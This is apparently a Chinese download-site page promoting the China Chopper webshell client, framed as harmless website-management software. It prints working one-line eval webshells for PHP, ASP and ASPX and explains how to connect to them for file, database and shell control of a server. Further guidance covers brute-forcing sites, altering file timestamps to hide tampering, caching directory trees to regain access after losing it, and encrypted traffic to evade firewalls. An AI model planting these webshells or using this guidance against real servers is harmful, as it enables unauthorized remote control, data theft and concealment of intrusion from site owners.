黑客工具中國菜刀是一款非常實用的網(wǎng)站管理軟件，無需安裝就能幫助你管理自己打開的網(wǎng)站，還能設(shè)置虛擬終端，管理你的數(shù)據(jù)庫，體積小不占內(nèi)存！感興趣的小伙伴快來體驗吧！

中國菜刀軟件內(nèi)容介紹

中國菜刀官方版是綠色無需安裝的網(wǎng)絡(luò)管理軟件。它功能強大，其功能相當(dāng)于ftp軟件，并且隱蔽性非常的高，使用簡單，小白也能輕松搞定。支持多種語言，可鏈接腳本是:php，asp，jsp，aspx。中國菜刀適合批量webshell網(wǎng)站，只需配置好，以后方便每次使用，批量的用戶必備。有需要的趕緊來下載吧。

中國菜刀電腦版特色細(xì)節(jié)

1.中國菜刀支持的服務(wù)端腳本：php、asp；

2.主中國菜刀要功能有：文件管理，數(shù)據(jù)庫管理，虛擬終端。

文件管理

有足夠的權(quán)限時候可以管理整個磁盤/文件系統(tǒng)，

數(shù)據(jù)庫管理

這個是中國菜刀最最強大的功能，支持mysql,mssql,oracle,infomix,access等等數(shù)據(jù)庫，支持不是最主要的，功能強大，人性化才是最主要的

“菜刀”的數(shù)據(jù)庫操作界面，內(nèi)置了常用的數(shù)據(jù)庫語句，非常直觀的表列名瀏覽功能，自動顯示表名，列名，查詢語句，非常人性化的設(shè)計，更內(nèi)置了不少自建的函數(shù)，方便不懂?dāng)?shù)據(jù)庫的菜鳥，都能查閱數(shù)據(jù)庫里的數(shù)據(jù)

再說個“菜刀”數(shù)據(jù)庫管理的一個小技巧，對于access數(shù)據(jù)庫，可以在中國菜刀的webshell操作界面，對著mdb文件點右鍵，點access management，就直接進(jìn)入access的數(shù)據(jù)庫操作界面了，特別方便

虛擬終端

模擬的windowns下的cmd命令窗口如果服務(wù)器是linux那么就是shell窗口。

中國菜刀使用教程

1.常見的管理

右鍵空白處->添加

添加shell -> 進(jìn)行相關(guān)的配置。

我的配置：

地址： http://localhost/a.php

密碼：key

腳本類型：php

最后

->點擊添加

相關(guān)的介紹：

這里的

webshell是我們常說的一句話木馬：

php一句話木馬：<?php @eval($_post['key']);?>

asp一句話木馬：<%eval request['key']%>

aspx一句話木馬：<%@ page language="jscript"%><%eval(request.item["key"],"unsafe");%>

眼尖的童鞋已經(jīng)看到了三個里面都帶有

key這個單詞，沒錯這個就是密碼，大家可以自行修改為自己使用的密碼。

文件管理：

打開方式 [右鍵webshell->單擊文件管理]

管理方式 [右鍵上圖中方框內(nèi)的任何區(qū)域進(jìn)行管理]

數(shù)據(jù)庫管理：

打開方式 [右鍵webshell->數(shù)據(jù)庫管理]

可以看到是空白的，這時候就需要配置數(shù)據(jù)庫信息了。

配置方式1.[單擊配置]

出現(xiàn)了一個配置窗口。(前提你要有網(wǎng)站數(shù)據(jù)庫的配置信息才可以進(jìn)行配置)

我的配置信息：

數(shù)據(jù)庫類型：mysql

用戶名：root

密碼：root

配置方式 2.[選擇數(shù)據(jù)庫]

可以看到紅色方框那邊有mysql、mssql、mssql2、oracle等數(shù)據(jù)庫類型。

我是mysql的就選擇mysql的示例：

配置后 [單擊提交]：

管理方式：

虛擬終端：

打開方式 [右鍵webshell->單擊虛擬終端]

紅色方框里是系統(tǒng)的一些信息。我們在d:\www>后面輸入相應(yīng)的cmd命令即可(linux就輸入shell命令)

2.網(wǎng)站掃描

打開方式 [單擊菜刀圖標(biāo)->單擊網(wǎng)站掃描]

(也可以在軟件里使用快捷鍵alt+k去打開)

使用方法：

把http://www.http://maicaidao.com替換成自己的測試站點即可。

功能：

1.反向ip(reverse_ip)

2.爬蟲(spider)

3.爆破(crack)

其他按照這些提示都應(yīng)該能懂就不一一去說了。

3.瀏覽器功能

打開方法如圖示意。

對著網(wǎng)頁進(jìn)行右擊：

上圖是一些瀏覽器方面的功能。

單擊擴展功能:

可以進(jìn)行cookie的修改。

同時也可以單擊菜刀圖標(biāo)->瀏覽器：

可以進(jìn)行選擇：

代表開啟 可以單擊進(jìn)行取消開啟。

4.其他功能

第一：設(shè)置菜刀啟動密碼(防止自己的webshell泄露出去)

打開方式 [單擊菜刀圖標(biāo)->單擊設(shè)置啟動密碼]

點擊是，就成功設(shè)置密碼為test。

然后我們關(guān)掉菜刀再打開菜刀：

輸入我們的密碼再可以設(shè)置新的密碼：

我相信著點英語難不倒各位也不解釋了。

也可以把啟動密碼取消掉：

亮點優(yōu)勢

中國菜刀的文件管理功能非常人性化，文件夾和文件的圖標(biāo)完全模枋windows

文件日期，文件大小，文件權(quán)限，一目了然

尤其是修改文件時間功能，非常的方便

直接對著要修改時間的文件點右鍵,modify the file time，然后在文件的時間那欄，輸入時間，回車，就修改完了

當(dāng)然，菜刀的文件管理還有新建，刪除，上傳，下載，編輯功能，這些大同小異，就不一一細(xì)說了

不過有個功能，還是要重點說明的，那就是目錄緩存功能

菜刀可以把瀏覽過的webshell目錄都緩存在本地，這樣可以方便下次訪問的時候更加快捷

最重要的是，當(dāng)哪天你的權(quán)限丟了，起碼你還有對方服務(wù)器的文件目錄結(jié)構(gòu)，方便再一次滲透

主要功能

只要支持動態(tài)腳本的網(wǎng)站，都可以用中國菜刀來進(jìn)行管理！主要功能有：文件管理，虛擬終端，數(shù)據(jù)庫管理。

uincode方式編譯，支持多國語言輸入顯示。

一、eval客戶端部分

1）要了解的

服務(wù)端只需要簡單的一行代碼，即可用此程序?qū)崿F(xiàn)常用的管理功能。

支持的服務(wù)端腳本：php, asp，.net。

在服務(wù)端運行的代碼如下：

php: <?php @eval($_post['pass']);?>

asp: <%eval request("pass")%>

.net: <%@ page language="jscript"%><%eval(request.item["pass"],"unsafe");%>

(注意: .net要單獨一個文件或此文件也是jscript語言)

2）怎么用

在主視圖中右鍵/添加，在彈出的對話框中輸入服務(wù)端地址，連接的密碼(請注意上例中的pass字串)，選擇正確的腳本類型和語言編碼，保存后即可使用文件管理，虛擬終端，數(shù)據(jù)庫管理三大塊功能。要是其它都沒錯誤，那么可能就是你把語言編碼選錯了。

1. 文件管理：[特色]緩存下載目錄，并支持離線查看緩存目錄;

2.虛擬終端：[特色]人性化的設(shè)計，操作方便;(輸入help查看更多用法)

3.數(shù)據(jù)庫管理：[特色]圖形界面,支持mysql,mssql,oracle,infomix,access

以入支持ado方式連接的數(shù)據(jù)庫。

(各種腳本條件下的數(shù)據(jù)庫連接方法請點擊數(shù)據(jù)庫管理界面左上角處的配置按鈕查看)

注意：由于服務(wù)器的安全設(shè)置，某些功能可能不能正常使用。

3) 關(guān)于配置信息怎么填？

a) 數(shù)據(jù)庫方面：

php腳本：

<t>類型</t> 類型可為mysql,mssql,oracle,infomix中的一種

<h>主機地址<h> 主機地址可為機器名或ip地址，如localhost

<u>數(shù)據(jù)庫用戶</u> 連接數(shù)據(jù)庫的用戶名，如root

<p>數(shù)據(jù)庫密碼</p> 連接數(shù)據(jù)庫的密碼，如123455

asp和.net腳本：

<t>類型</t> 類型只能填ado

<c>ado配置信息</c>

ado連接各種數(shù)據(jù)庫的方式不一樣。如mssql的配置信息為

driver={sql server};server=(local);database=master;uid=sa;pwd=123456

b) 其它方面：

添加額外附加提交的數(shù)據(jù)：應(yīng)付這種情況：if ($_post['action']=='test'){@eval($_post['pass']);}

<o>action=test</o>

提交功能前先post額外的數(shù)據(jù)包：會話期間只提交一次。

<data>uid=user1&pwd=123456</data>

二、網(wǎng)站蜘蛛

織出一張網(wǎng)站的目錄結(jié)構(gòu)。

下載的列表文件存在桌面，右鍵菜單/載入url列表即可以根據(jù)地址得到目錄結(jié)構(gòu)。

三、定時提醒

當(dāng)鬧鐘事使吧, 周期：每月/每周/每日/只一次。

四、快速啟動

一些常用的快捷方式放在這里，可以指定用戶身份運行程序。這部分?jǐn)?shù)據(jù)是以加密存儲的。

五、瀏覽器

地址欄輸入help，更多精彩后續(xù)加入。

六、其它部分

等待加入。

附帶工具

update.exe是wsc.exe的數(shù)據(jù)庫wscdb遷移到菜刀的一個小工具。

把wscdb文件整到當(dāng)前目錄，運行update.exe得到新的數(shù)據(jù)庫文件caidao.mdb

把菜刀的數(shù)據(jù)庫db.mdb替換掉即可。

編輯測評

中國菜刀是可遠(yuǎn)程鏈接webshell的工具，只要支持動態(tài)腳本的網(wǎng)站，都可以用中國菜刀來進(jìn)行管理！軟件已將發(fā)送封包加密已可過各種防火墻，白帽子首選軟件!

更新日志

對軟件功能進(jìn)一步完善，bug修復(fù)。